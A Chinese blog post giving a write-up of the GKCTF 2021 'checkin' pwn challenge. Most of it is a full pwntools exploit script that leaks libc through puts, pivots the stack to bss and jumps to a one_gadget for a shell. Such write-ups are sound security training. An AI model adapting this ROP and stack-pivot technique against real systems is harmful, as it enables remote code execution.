[GKCTF 2021]checkin

[GKCTF 2021]checkin

1.ida分析

 

 存在栈溢出漏洞,不过只能溢出8字节。

2.checksec

 

3.解决

找了一个官方wp和一个比较好理解的exp

官方:https://cloud.tencent.com/developer/article/1844887

大佬:https://blog.csdn.net/pondzhang/article/details/118281922

官方的有点难理解,就记一下好理解的。

exp

from pwn import *
context.log_level='debug'
#p = process('./login')
p=remote('node4.buuoj.cn',25543)
elf = ELF('./login')
libc=ELF('libc.so.6')
puts_func = 0x00000000004018B5
puts_got = 0x0000000000602028
pop_rdi_ret = 0x0000000000401ab3
bss = 0x0000000000602400
p.recvuntil('>')
payload = 'admin\x00\x00\x00'  +p64(pop_rdi_ret) + p64(puts_got) +p64(puts_func) 
p.send(payload)
#gdb.attach(p)
p.recvuntil('>')
payload = 'admin\x00\x00\x00'  +p64(0)*3  + p64(bss)
p.send(payload)

libc_base=u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.symbols['puts']
log.success(hex(libc_base))
p.recvuntil('>')
payload = 'admin\x00\x00\x00'*3  +p64(0x4527a+libc_base)
p.send(payload)
p.recvuntil('>')

payload = 'admin\x00\x00\x00'*4 + p64( bss + 0x18 )
p.send(payload)
p.interactive()

 

首先是栈迁移到0x602400,然后再利用已有的puts函数泄露出puts的地址,这个泄露雀食蟀。

p.recvuntil('>')
payload = 'admin\x00\x00\x00'  +p64(pop_rdi_ret) + p64(puts_got) +p64(puts_func) #泄露地址,并再次进入输入的函数
p.send(payload)
#gdb.attach(p)
p.recvuntil('>')
payload = 'admin\x00\x00\x00'  +p64(0)*3  + p64(bss)#栈迁移
p.send(payload)

 

 然后剩下的就是计算基址再输入one_gadget。

posted @ 2021-07-22 20:06  mio_yy  阅读(420)  评论(0)    收藏  举报